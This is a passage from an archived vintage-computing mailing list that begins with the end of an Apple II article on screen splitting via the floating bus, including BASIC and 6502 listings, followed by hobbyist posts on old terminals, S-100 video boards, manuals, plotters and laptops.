hi-res pages in such a way that the primary page has all of its high bits off while the secondary page has all of its high bits on, we can generate true 560 x 192 hi-res graphics. It is then possible to write a hi-res character generator for this mode that, in effect, produces eighty columns of text (in hi-res) without benefit of an eighty-column card! The possibilities arising from screen splitting seem quite exciting, to say the least. But there is, unfortunately, one fly in the ointment--the technique may not work on all Apples. Looking at the screen switches like we've been doing is called "reading the floating bus," and it's something that Apple Computer never intended to be done. Therefore, they make no guarantees that the data read in this manner will be meaningful, especially when certain peripheral cards are plugged into the expansion slots. In fact, this method of screen splitting doesn't work on the Apple III at all, even in emulation mode, because its bus doesn't float. But there seem to be very few Apple IIs in which the method can't be made to work when the incompatible peripherals are unplugged. If you can't get screen splitting to work on your Apple, you might want to try running the machine language program shown in listing 5. Load a hi-res picture into the primary display buffer ($2000 through $3FFF), create any lo-res display on the primary lo-res screen, and then run the program at $1000. This program is an example of screen splitting using nothing but timing loops. But there's no way to synchronize the splitting. So, each time you run the program, the split will occur at a different vertical position on the screen, depending on which scan line you just happen to catch the beam on. This program should work on all Apples. ----------------------- The author would like to thank D. Kottke, R. Nicholson, and B. Smith of Apple Computer for their helpfull discussions on Apple II video hardware and L. Grossberger of Eclectic Electric for her suggestions and help in preparing the diagrams for this article. ---------------------------------------------------------------------------- - 100 HOME 200 FOR K = 0 TO 39 210 POKE 1448 + K, 14 * 16 220 POKE 2000 + K, 10 * 16 230 COLOR= K + 4 240 VLIN 25,45 AT K 250 NEXT K 300 VTAB 6: HTAB 17 310 PRINT "APPLE II" 400 CALL 768 500 GOTO 400 Listing 1. ---------------------------------------------------------------------------- - 0300- 8D 52 C0 STA $C052 0303- A9 E0 LDA #$E0 0305- A2 04 LDX #$04 0307- CD 51 C0 CMP $C051 030A- D0 F9 BNE $0305 030C- CA DEX 030D- D0 F8 BNE $0307 030F- A9 A0 LDA #$A0 0311- A2 04 LDX #$04 0313- CD 50 C0 CMP $C050 0316- D0 F9 BNE $0311 0318- CA DEX 0319- D0 F8 BNE $0313 031B- 8D 51 C0 STA $C051 031E- 60 RTS Listing 2. ---------------------------------------------------------------------------- - LINE ADDRESS _______________________________________ $00 $2000 | | $2027 $01 $2400 | | $02 $2800 | | $03 $2C00 | | $04 $3000 | | $05 $3400 | | $06 $3800 | | $07 $3C00 | | $08 $2080 | | ... ... | | | | / / / / | | |_______________________________________| $40 $2028 ----| | $204F | | | | | | | | | | | | | | | | | | | | / / / / | | |_______________________________________|_______ $80 $2050 ----| | | $207F | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | / / / / / / | | | $BF $3FD0 ----|_______________________________________|_______| $3FFF |<------------- DISPLAYED ------------->|<- \ ->| UNDISPLAYED Arrow from $2000 to $2027. Arrow from $2027 to $2028. Arrow from $2028 to $204F. Arrow from $274F to $2050. Arrow from $2050 to $207F. Arrow from $207F to $2000. Figure 1. Memory mapping of bytes on hi-res page. ---------------------------------------------------------------------------- - 100 FOR Y = 0 TO 191 110 GOSUB 1000 120 FOR X = 0 TO 39 130 POKE BASE + X,Y 140 NEXT X,Y 150 FOR Y = 128 TO 191 160 GOSUB 1000 170 FOR X = 40 TO 47 180 POKE BASE + X,Y + 64 190 NEXT X,Y 200 END 1000 L = Y:S = 0:Q = 0 1010 S = INT (L / 64) 1020 L = L - S * 64 1030 Q = INT (L / 8) 1040 L = L - Q * 8 1050 BASE = 8192 + 1024 * L + 128 * Q + 40 * S 1060 RETURN Listing 3--Applesoft. ---------------------------------------------------------------------------- - 100 FOR Y = 0 TO 191 110 GOSUB 1000 120 FOR X = 0 TO 39 130 POKE BASE+X,Y 140 NEXT X,Y 150 FOR Y = 128 TO 191 160 GOSUB 1000 170 FOR X = 40 TO 47 180 POKE BASE+X,Y+64 190 NEXT X,Y 500 END 1000 BASE=8192+40*(Y/64)+1024*(Y MOD 8)+128*((Y MOD 64)/8): RETURN Listing 3--Integer Basic. ---------------------------------------------------------------------------- - 10 PC = 16384 20 POKE PC + 1,80: POKE PC + 4,82: POKE PC + 7,87 30 FOR K = 1 TO 3 40 POKE PC,141: POKE PC + 2,192 50 PC = PC + 3 60 NEXT K 100 FOR LOC = 32768 TO 34816 110 POKE PC,173 120 POKE PC + 1,80 130 POKE PC + 2,192 140 POKE PC + 3,141 150 HLOC = INT (LOC / 256) 160 LLOC = LOC - (HLOC * 256) 170 POKE PC + 4,LLOC 180 POKE PC + 5,HLOC 190 PC = PC + 6 200 NEXT LOC 210 POKE PC,141: POKE PC+1,81: POKE PC+2,192: POKE PC+3,96 Listing 4--Applesoft. ---------------------------------------------------------------------------- - 10 PC=16384: LOC=4096 20 LDA=10*16+13: STA=8*16+13: C050LO=5*16: C050HI=12*16: RTS=96 40 POKE PC+1,C050LO: POKE PC+4,C050LO+2: POKE PC+7,C050LO+7 50 FOR K = 1 TO 3 60 POKE PC,STA: POKE PC+2,C050HI 70 PC=PC+3 80 NEXT K 100 FOR K=1 TO 2048 110 POKE PC+0,LDA 120 POKE PC+1,C050LO 130 POKE PC+2,C050HI 140 POKE PC+3,STA 150 POKE PC+4,LOC MOD 256 160 POKE PC+5,LOC/256 170 PC=PC+6: LOC=LOC+1 180 NEXT K 190 POKE PC,STA: POKE PC+1,C050LO+1: POKE PC+2,C050HI: POKE PC+3,RTS Listing 4--Integer Basic. ---------------------------------------------------------------------------- - 1120- B7 F7 37 37 37 37 B8 B8 17A8- 7F 7F 7F BF BF BF BF BF 1128- B8 F8 38 38 38 38 B9 B9 17B0- 80 80 80 C0 00 00 00 00 1130- B9 F9 39 39 39 39 BA BA 17B8- 81 81 81 C1 01 01 01 01 1138- BA FA 3A 3A 3A 3A BB BB 17C0- 82 82 82 C2 02 02 02 02 1140- BB BB FB 3B 3B 3B 3B BC 17C8- 83 83 83 C3 03 03 03 03 1148- BC BC FC 3C 3C 3C 3C BD 17D0- 84 84 84 C4 04 04 04 04 1150- BD BD FD 3D 3D 3D 3D BE 17D8- A5 85 85 85 C5 05 05 05 1158- BE BE FE 3E 3E 3E 3E BF 17E0- 05 86 86 86 C6 06 06 06 1160- BF BF FF 3F 3F 3F 3F BA 17E8- 06 87 87 87 C7 07 07 07 1168- BA BA FA 3A 3A 3A 3A BB 17F0- 07 88 88 88 C8 08 08 08 1170- BB BB FB 3B 3B 3B 3B BC 17F8- 08 89 89 89 C9 09 09 09 1178- BC BC FC 3C 3C 3C 3C BD 1180- BD BD BD FD 3D 3D 3D 3D 1970- B7 B7 F7 37 37 37 37 B8 1188- BE BE BE FE 3E 3E 3E 3E 1978- B8 B8 F8 38 38 38 38 B9 1190- BF BF BF FF 3F 3F 3F 3F 1980- B9 B9 F9 39 39 39 39 BA 1198- 80 80 C0 00 00 00 00 00 1988- BA BA FA 3A 3A 3A 3A BB 11A0- 81 81 C1 01 01 01 01 01 1990- BB BB FB 3B 3B 3B 3B BC 11A8- 82 82 C2 02 02 02 02 02 1998- BC BC FC 3C 3C 3C 3C BD 11B0- 83 83 C3 03 03 03 03 03 19A0- BD BD BD FD 3D 3D 3D 3D 11B8- 84 84 C4 04 04 04 04 04 19A8- BE BE BE FE 3E 3E 3E 3E 11C0- A5 85 85 C5 05 05 05 05 19B0- BF BF BF FF 3F 3F 3F 3F 11C8- 05 86 86 C6 06 06 06 06 19B8- BA BA BA FA 3A 3A 3A 3A 11D0- 06 87 87 C7 07 07 07 07 19C0- BB BB BB FB 3B 3B 3B 3B 19C8- BC BC BC FC 3C 3C 3C 3C 1780- 7A 7A BA BA BA BA BA 7B 19D0- BD BD BD FD 3D 3D 3D 3D 1788- 7B 7B BB BB BB BB BB 7C 19D8- BE BE BE FE 3E 3E 3E 3E 1790- 7C 7C BC BC BC BC BC 7D 19E0- BF BF BF BF FF 3F 3F 3F 1798- 7D 7D 7D BD BD BD BD BD 19E8- 3F 80 80 C0 00 00 00 00 17A0- 7E 7E 7E BE BE BE BE BE 19F0- 00 81 81 C1 01 01 01 01 19F8- 01 82 82 C2 02 02 02 02 Figure 2. ---------------------------------------------------------------------------- - BEGIN VISIBLE _______________________________________ END OF SCAN SCAN LINE $00 | | | LINE $00 | | | | | | | | | | | | | | | | | | BEGIN VISIBLE |---------------------------------------| END OF SCAN SCAN LINE 'L' | | | LINE 'L' | BEGIN HBL FOR |-----------------------| END HBL FOR | SCAN LINE 'N' | ^ | SCAN LINE 'N' | | | | | | $40 LINES | | | | | | | v | BEGIN VISIBLE |---------------------------------------| END OF SCAN SCAN LINE 'N' | | | LINE 'N' | | | | BEGIN HBL FOR | | END HBL FOR | SCAN LINE $BF |_______________________| SCAN LINE $BF | _______________|_______ | BEGIN HBL FOR | | | END HBL FOR | SCAN LINE $00 | | | SCAN LINE $00 | | | | | BEGIN HBL FOR |_______________|_______| END HBL FOR | SCAN LINE 'L' | | | SCAN LINE 'L' | | | | | | | | BEGIN VISIBLE |_______________________|_______________|_______| END OF SCAN SCAN LINE $BF LINE $BF Figure 3. Cycle-by-cycle map of video frame. ---------------------------------------------------------------------------- - 1000- A2 00 LDX #$00 1002- 20 1A 10 JSR $101A 1005- 8D 50 C0 STA $C050 1008- 8D 57 C0 STA $C057 1006- F0 00 BEQ $100D 100D- 20 1A 10 JSR $101A 1010- 8D 52 C0 STA $C052 1013- 8D 56 C0 STA $C056 1016- EA NOP 1017- 4C 02 10 JMP $1002 101A- A0 06 LDY #$06 101C- CA DEX 101D- D0 FD BNE $101C 101F- 88 DEY 1020- D0 FA BNE $101C 1022- A2 9D LDX #$9D 1024- CA DEX 1025- D0 FD BNE $1024 1027- 60 RTS Listing 5. ---------------------------------------------------------------------------- From eric at brouhaha.com Thu May 18 23:36:25 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:47 2005 Subject: Wanted: Manual and/or switch settings for Intel iSBC-012CX memory card Message-ID: <20000519043625.21480.qmail@brouhaha.com> I recently was given some Intel iSBC-012CX memory cards. These are 512K ECC DRAM cards that support both Multibus and an auxilliary high speed memory bus on the P2 connector (iLBX?). There was also a version that omitted some components and didn't support the aux. bus; I think that was the iSBC-012C. There were also partially populated models with 128K and 256K capacity; I think those were designated iSBC-028C[X] and iSBC-056C[X]. Anyhow, I'm looking for a manual for these boards, or at least information on jumper settings. Multibus originally only supported a 1M address space, so two of these would fill it up. Later A20-A23 address lines were added, but they were put on the P2 connector. Thanks! Eric From foo at siconic.com Thu May 18 23:13:18 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:47 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Message-ID: On Thu, 18 May 2000, Charles P. Hobbs (SoCalTip) wrote: > > Well then this brings me back to wondering how those programs that allowed > > mixed video modes on the Apple ][ worked. They required no hardware mods. > > Hmmm. > > I wasn't aware that any such programs existed, especially for the II. Any > examples I should be on the lookout for? > <...> > > I have a bunch of Softdisk disks, mostly for the GS though (some will > work on earlier machines). I haven't really looked through them all You need to get issues from the '83-'86 range to find the demos I'm talking about. SoftDisk had an advertising "section" on each issue and there was one company that sold development tools to build programs with mixed mode screens that advertised almost every issue. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From lemay at cs.umn.edu Fri May 19 00:26:33 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:47 2005 Subject: PDP 8/L maintenance manual Message-ID: <200005190526.AAA26519@caesar.cs.umn.edu> Does anyone here have a copy of the PDP 8/L Maintenance Manual, Volume #2? I seem to be missing that for some reason. It looks like I have all the rest of the stuff that originally came with the computer, plus the PDP 8/L Maintenance Course Training Notes, the KD8/L Data Break Option Functional Description, and the 8/L print set. -Lawrence LeMay From dpeschel at eskimo.com Fri May 19 00:41:46 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:47 2005 Subject: Softdisk and BEZ (was Cool AppleSoft BASIC trick) In-Reply-To: from "Vintage Computer GAWD!" at May 18, 2000 09:13:18 PM Message-ID: <200005190541.WAA02383@eskimo.com> Sellam wrote: > On Thu, 18 May 2000, Charles P. Hobbs (SoCalTip) wrote: > > > > Well then this brings me back to wondering how those programs that allowed > > > mixed video modes on the Apple ][ worked. They required no hardware mods. > > > Hmmm. > > > > I wasn't aware that any such programs existed, especially for the II. Any > > examples I should be on the lookout for? > > > <...> > > > > I have a bunch of Softdisk disks, mostly for the GS though (some will > > work on earlier machines). I haven't really looked through them all > > You need to get issues from the '83-'86 range to find the demos I'm > talking about. SoftDisk had an advertising "section" on each issue and > there was one company that sold development tools to build programs with > mixed mode screens that advertised almost every issue. As long as we're talking about SoftDisk, I may as well shamelessly hijack the conversation. At least I changed the subject. The one SoftDisk issue I owned (I'm not sure if I have it anymore) had a demo for a game called Alien Encounter. This game was made by BEZ (who also made things like Double Trouble, two arcade games side-by-side controlled by the same joystick -- another one I no longer have) and featured a series of puzzles. I'm wondering if anyone else has ever heard of that game. -- Derek From foo at siconic.com Fri May 19 00:02:24 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:47 2005 Subject: Softdisk and BEZ (was Cool AppleSoft BASIC trick) In-Reply-To: <200005190541.WAA02383@eskimo.com> Message-ID: On Thu, 18 May 2000, Derek Peschel wrote: > The one SoftDisk issue I owned (I'm not sure if I have it anymore) had a > demo for a game called Alien Encounter. This game was made by BEZ (who also > made things like Double Trouble, two arcade games side-by-side controlled by > the same joystick -- another one I no longer have) and featured a series of > puzzles. > > I'm wondering if anyone else has ever heard of that game. The two sound (in the most vague sense) familiar. If you can remember about when the issue came out I can check if I have it. I've got quite a few SoftDisks through 1987. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From rigdonj at intellistar.net Fri May 19 08:49:16 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! In-Reply-To: References: <3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000519084916.26677ab2@mailhost.intellistar.net> Tony, At 01:24 AM 5/19/00 +0100, you wrote: >> >> Yesterday I picked up one of my more unusual finds, a Beehive MicroB >> terminal that looks like it's new in the box. See pictures at >> "http://www.intellistar.net/~rigdonj/beehive/b4.jpg" through >> "http://www.intellistar.net/~rigdonj/beehive/b9.jpg". You can see in >> picture b7 that it was still sealed up in a plastic bag inside the box. >> >> Does anyone want this? I don't need it and I don't have room to keep >> it. I powered it up today and it appears to work. You can see in the last >> picture that it does have a raster and cursor. I don't have a systemn that >> uses a terminal so I can't test it beyond that. The screen is normal but > >Don't you still have that 11/73 you were asking about last week. That >could use this as a terminal, surely. Yes, but it's over at someone else house at the moment. > >And are you saying that you don't have _any_ other machine with an RS232 >port? Surely you have _something_ that can send and receive characters? Of course I do. I can alway use the over abundant PCs. But I don't want to take the time to figure out the port pinouts and make a cable. > >And 95% of all terminals only need the data leads on the RS232 connector >(there may be a setup option for this). In which case shorting pin 2 to >pin 3 on the RS232 connector will do a loopback test -- I thought about that but I ran out of time and had to put it away for the evening. Wouldn't you have to jumper the handshaking signals too? I don't know which of them this terminal requires. I didn't get a manual for it. :-( anything you type >on the keyboard should appear on the screen. That doesn't test >_everything_ (for example the baud rate could be wildly off, but if it >uses the same rate for Tx and Rx, this test would pass), but it will >check much of the terminal logic. Joe From richard at idcomm.com Fri May 19 08:29:02 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! References: <3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> <3.0.1.16.20000519084916.26677ab2@mailhost.intellistar.net> Message-ID: <002301bfc196$332cea60$0400c0a8@winbook> I'm not sure the Beehive terminal is the best-supported one available, but if you've any hope of getting your Altair running with "period" hardware, i.e. with hardware available in the era in which the box was designed, I'd say you're going to need one. Video boards for the S-100 were not common until much later, with the possible exception of the SSM VB1, which does not provide a standard 80x24 display. If this terminal is really unused, it might be worth going through and swapping the electrolytic caps with some relatively new ones, but it probably would work well otherwise. 20-year old electrolytics need to be "re-formed" if they're to work reliably. That involves removing them from the circuit and gradually cycling them up to peak voltage and current. If you have to remove them, it makes more sense to replace them rather than to go through the re-forming process. Some of them may die anyway, due to tired dielectric. A TVI 910 or a Lear-Siegler ADM-3A might be a more widely supported choice. I used either a TVI or a Hazeltine Esprit emulating a Hazeltine 1500 most of the time. I didn't start using this S-100 stuff until 1977, however. Dick ----- Original Message ----- From: Joe To: Sent: Friday, May 19, 2000 7:49 AM Subject: Re: rescued a beehive! > Tony, > > At 01:24 AM 5/19/00 +0100, you wrote: > >> > >> Yesterday I picked up one of my more unusual finds, a Beehive MicroB > >> terminal that looks like it's new in the box. See pictures at > >> "http://www.intellistar.net/~rigdonj/beehive/b4.jpg" through > >> "http://www.intellistar.net/~rigdonj/beehive/b9.jpg". You can see in > >> picture b7 that it was still sealed up in a plastic bag inside the box. > >> > >> Does anyone want this? I don't need it and I don't have room to keep > >> it. I powered it up today and it appears to work. You can see in the last > >> picture that it does have a raster and cursor. I don't have a systemn that > >> uses a terminal so I can't test it beyond that. The screen is normal but > > > >Don't you still have that 11/73 you were asking about last week. That > >could use this as a terminal, surely. > > Yes, but it's over at someone else house at the moment. > > > >And are you saying that you don't have _any_ other machine with an RS232 > >port? Surely you have _something_ that can send and receive characters? > > Of course I do. I can alway use the over abundant PCs. But I don't want > to take the time to figure out the port pinouts and make a cable. > > > > >And 95% of all terminals only need the data leads on the RS232 connector > >(there may be a setup option for this). In which case shorting pin 2 to > >pin 3 on the RS232 connector will do a loopback test -- > > I thought about that but I ran out of time and had to put it away for > the evening. Wouldn't you have to jumper the handshaking signals too? I > don't know which of them this terminal requires. I didn't get a manual for > it. :-( > > > > anything you type > >on the keyboard should appear on the screen. That doesn't test > >_everything_ (for example the baud rate could be wildly off, but if it > >uses the same rate for Tx and Rx, this test would pass), but it will > >check much of the terminal logic. > > Joe > From kyrrin at bluefeathertech.com Fri May 19 09:08:25 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:47 2005 Subject: New listmembers Message-ID: <3924E869.1833.CF16DF1@localhost> I know the instructions for this have changed, and I can't find them (dang it!) Could someone please bring me up to date on how to bring new listmembers on-board? The fellow I wrote in about last night that has the VAXen is interested. Thanks! -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From allisonp at world.std.com Fri May 19 09:10:21 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! In-Reply-To: <002301bfc196$332cea60$0400c0a8@winbook> Message-ID: > say you're going to need one. Video boards for the S-100 were not common > until much later, with the possible exception of the SSM VB1, which does not > provide a standard 80x24 display. The "video boards" for S100 were amoung the first third party boards. Most however were of the VDM-1 style as 64chars x16lines with the 80x24 being much later (78ish). > A TVI 910 or a Lear-Siegler ADM-3A might be a more widely supported choice. The TVI was a late commer and more likely the early 80s. ADM1/1a/3 were the most widely supported and second was the Vt52 (or VT52 on vt100) as many terminals emulated either DEC or ADM. > I used either a TVI or a Hazeltine Esprit emulating a Hazeltine 1500 most of > the time. I didn't start using this S-100 stuff until 1977, however. The Esprit(later) and 1500(earlier) were not that popular. Also the support on them varied on model (1500, 1520, 1552 or 1400, 1420). Allison From rhudson at ix.netcom.com Fri May 19 09:22:25 2000 From: rhudson at ix.netcom.com (Ron Hudson) Date: Sun Feb 27 18:51:47 2005 Subject: May be moving.... References: Message-ID: <39254E21.6C74387B@ix.netcom.com> My wife is interviewing for a job in Virginia Beach VA, If she gets it we will be moving out there... Anyone know of any Halted/Weirdstuff type shops in the Virginia Beach/Norfolk and surrounding area? These are the kind of place where when a business has excess electronic equipment it's resold via them.(Ie Halted bids on lots of electronic stuff then sells it to the public.) From jdarren at ala.net Fri May 19 10:04:35 2000 From: jdarren at ala.net (jdarren) Date: Sun Feb 27 18:51:47 2005 Subject: Versatec question Message-ID: <003a01bfc1a3$8c2db920$026464c0@j.peters> Does anyone know of any currently commercially available printer/plotter compatible as a drop-in replacement for a 1970's vintage Versatec electrostatic model? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/da93d05d/attachment.html From richard at idcomm.com Fri May 19 11:20:15 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! References: Message-ID: <000d01bfc1ae$1f0a4420$0400c0a8@winbook> Well, Allison, you're right about the Esprit, since it didn't come around until the very late '70's, but it was my choice at that time because (1) there was no significantly cheaper terminal available, and (2) it emulated the Hazeltine 1500, LSI ADM-3A, and one other which I don't remember, since I probably never had occasion to use it. The basis for my suggestion that the terminals best for CP/M is my experience that the ones I listed and the Visual 50 (also with several emulations) were the ones we had the fewest compatibility issues under CP/M. Various software packages had to be configured specifically for whichever terminal was in use, and being "close" generally led to trouble. The early video boards with 16 lines of 64 characters weren't supported by most software vendors at the time. Only after the popularity of the TRS-80 (1978) became a factor did 16x64 become useable with standard CP/M systems and software. Of course, one could write one's own drivers, but that was not a popular solution for most users. Who built that VDM-1? Was that not a part of some vendor's "set" of boards? Dick ----- Original Message ----- From: To: Sent: Friday, May 19, 2000 8:10 AM Subject: Re: rescued a beehive! > > say you're going to need one. Video boards for the S-100 were not common > > until much later, with the possible exception of the SSM VB1, which does not > > provide a standard 80x24 display. > > The "video boards" for S100 were amoung the first third party boards. Most > however were of the VDM-1 style as 64chars x16 lines with the 80x24 being > much later (78ish). > > > A TVI 910 or a Lear-Siegler ADM-3A might be a more widely supported choice. > > The TVI was a late commer and more likely the early 80s. ADM1/1a/3 were > the most widely supported and second was the Vt52 (or VT52 on vt100) as > many terminals emulated either DEC or ADM. > > > I used either a TVI or a Hazeltine Esprit emulating a Hazeltine 1500 most of > > the time. I didn't start using this S-100 stuff until 1977, however. > > The Esprit(later) and 1500(earlier) were not that popular. Also the > support on them varied on model (1500, 1520, 1552 or 1400, 1420). > > Allison > > From mranalog at home.com Fri May 19 11:30:21 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:51:47 2005 Subject: Mark 1 computer References: Message-ID: <39256C1D.C000B2AA@home.com> Because a few people have asked about the old mechanical type Navy analog fire control computers: I have just put up a couple pictures of the Mk.1 fire control computer in my analog museum. http://www.best.com/~dcoward/analog/fordsperry.htm I also recently picked up a couple manuals for the Mark 1 computer: COMPUTER MARK I AND MODS DESCRIPTION AND OPERATION (OP 1064) June 1945 Now I can stop envying these young guys with computers that are older than they are. I don't have the computer, but I have a user's manual that's older than me. :) BASIC FIRE CONTROL MECHANISMS (OP 1140) September 1944 This manual describes the workings of all of the basic mechanisms (multipliers, integrators, resolvers, differentials, synchros, cams, etc.) I mention this because one of these basic mechanisms was up for bid on eBay this week. And the pictures may disappear any minute!! http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=330171722 This is called a Component Integrator. It has two input shafts, a Speed Input and a Angular Input. And it has two output shafts, one is the product of the speed input and the cosine of the angular input and the other is the product of the speed input and the sine of the angular input. Now back to the world of TTL logic, sorry for the interruption. --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From healyzh at aracnet.com Fri May 19 12:07:58 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:47 2005 Subject: Versatec question In-Reply-To: <003a01bfc1a3$8c2db920$026464c0@j.peters> Message-ID: >Does anyone know of any currently commercially available printer/plotter >compatible as a drop-in replacement for a 1970's vintage Versatec >electrostatic model? Aren't the modern "Versatec's" made by Xerox? ISTR, that some of our big plotters are made by Versatec, and some by Xerox, yet they're the same thing. Drop in though.... Hmmmm.... I know ours are hooked up to old Sparc's running SunOS (needed for the drivers, though I think they finally found an upgrade path). Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From healyzh at aracnet.com Fri May 19 12:12:35 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:47 2005 Subject: May be moving.... In-Reply-To: <39254E21.6C74387B@ix.netcom.com> References: Message-ID: >My wife is interviewing for a job in Virginia Beach VA, If she gets it we will >be moving out there... >Anyone know of any Halted/Weirdstuff type shops in the Virginia Beach/Norfolk >and surrounding area? These are the kind of place where when a business has >excess electronic equipment it's resold via them.(Ie Halted bids on lots of >electronic stuff then sells it to the public.) DRMO (US Navy Scrap) right outside the Base, IIRC. Since I was on a Aircraft Carrier at the time I didn't have the room to check them out, but I gather they have occasional auctions. You'll probably not find much in Virginia Beach, but Norfolk/Portsmouth should have some. Remember that's that's the worlds largest Navy Base. Now if you wanted to know about RPG/Wargamming stores in that area.... Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From jimw at agora.rdrop.com Fri May 19 12:13:18 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! In-Reply-To: <000d01bfc1ae$1f0a4420$0400c0a8@winbook> Message-ID: On Fri, 19 May 2000, Richard Erlacher wrote: > Who built that VDM-1? Was that not a part of some vendor's "set" of boards? The VDM-1 (Video Display Module #1) came from Processor Technology and the circuitry was later integrated into their SOL Terminal Computer. It was also offered in a 'set' of boards (the name of which escapes me at the moment) which effectively transormed your Altair/IMSAI into a SOL (workalike). The board set consisted of the VDM-1, the CUTS cassette I/O board, a 3P+S I/O board, and optionally a ROM board (can't think of the designation at the moment) which held the CUTER/SOLOS 'personality module' ROMS/EPROMS. If you did not pop for the ROM board, you toggled in a boot loader and loaded SOLOS/CUTER from tape... Viola! Insta-SOL!! -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From ard at p850ug1.demon.co.uk Fri May 19 12:54:01 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! In-Reply-To: <3.0.1.16.20000519084916.26677ab2@mailhost.intellistar.net> from "Joe" at May 19, 0 08:49:16 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2816 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/3bba6d11/attachment.ksh From allisonp at world.std.com Fri May 19 13:03:17 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:47 2005 Subject: rescued a beehive! In-Reply-To: <000d01bfc1ae$1f0a4420$0400c0a8@winbook> Message-ID: > Well, Allison, you're right about the Esprit, since it didn't come around > until the very late '70's, but it was my choice at that time because (1) I know, I worked for Haziltine and was part of manufacturing engineering for terminals then. > compatibility issues under CP/M. Various software packages had to be > configured specifically for whichever terminal was in use, and being "close" > generally led to trouble. I know... However, Vt52 was the safest of the lot for emulation as it was so minimal and widely used/copied. The key was having screen clear, clear to end of line and gotoxy all were trivial. > The early video boards with 16 lines of 64 characters weren't supported by > most software vendors at the time. Only after the popularity of the TRS-80 > (1978) became a factor did 16x64 become useable with standard CP/M systems > and software. Of course, one could write one's own drivers, but that was > not a popular solution for most users. Actually 72 lines was more defacto as that was TTY. > Who built that VDM-1? Was that not a part of some vendor's "set" of boards? Processor Technology, you could buy it alone and they had other boards as well all very good. I bought mine(still have it) for the Altair in early '76 as TTY was noisy and often slow for debugging/editing. Allison From netsurfer_x1 at hotmail.com Fri May 19 14:36:00 2000 From: netsurfer_x1 at hotmail.com (David Vohs) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. Message-ID: <20000519193600.69493.qmail@hotmail.com> I'd like to share a revelation I have had about modern laptops. I have noticed that nearly every new laptop generation on the market is roughly about a third smaller than the previous generation. But does anybody know why they make them this way? One might say that this is so because of new manufacturing processes, new technologies, etc. But in my opinion, I think laptops are made as thin as they are so you can be lost or stolen easier. If you lose a new laptop, you are probably out $1500 or more! That's why I like older laptops like a Tandy Model 100, Macintosh Portable, etc. because of these reasons: 1. Large size 2. *Proper* keyboards (laptop makers, please thake note!) 3. Phenominal battery lives (see above comment) 4. If they are lost (nobody would really want to steal an obsolete laptop) you are out maybe $50-150 or so. So the newest technology is better, I beg to differ! ____________________________________________________________ David Vohs, Digital Archaeologist & Computer Historian. Home page: http://www.geocities.com/netsurfer_x1/ Computer Collection: "Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, Okimate 20. "Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. "Delorean": TI-99/4A. "Monolith": Apple Macintosh Portable. "Spectrum": Tandy Color Computer 3. "Boombox": Sharp PC-7000. ____________________________________________________________ ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From mcguire at neurotica.com Fri May 19 14:59:36 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:51:47 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: OT Rant: Smaller/thinner 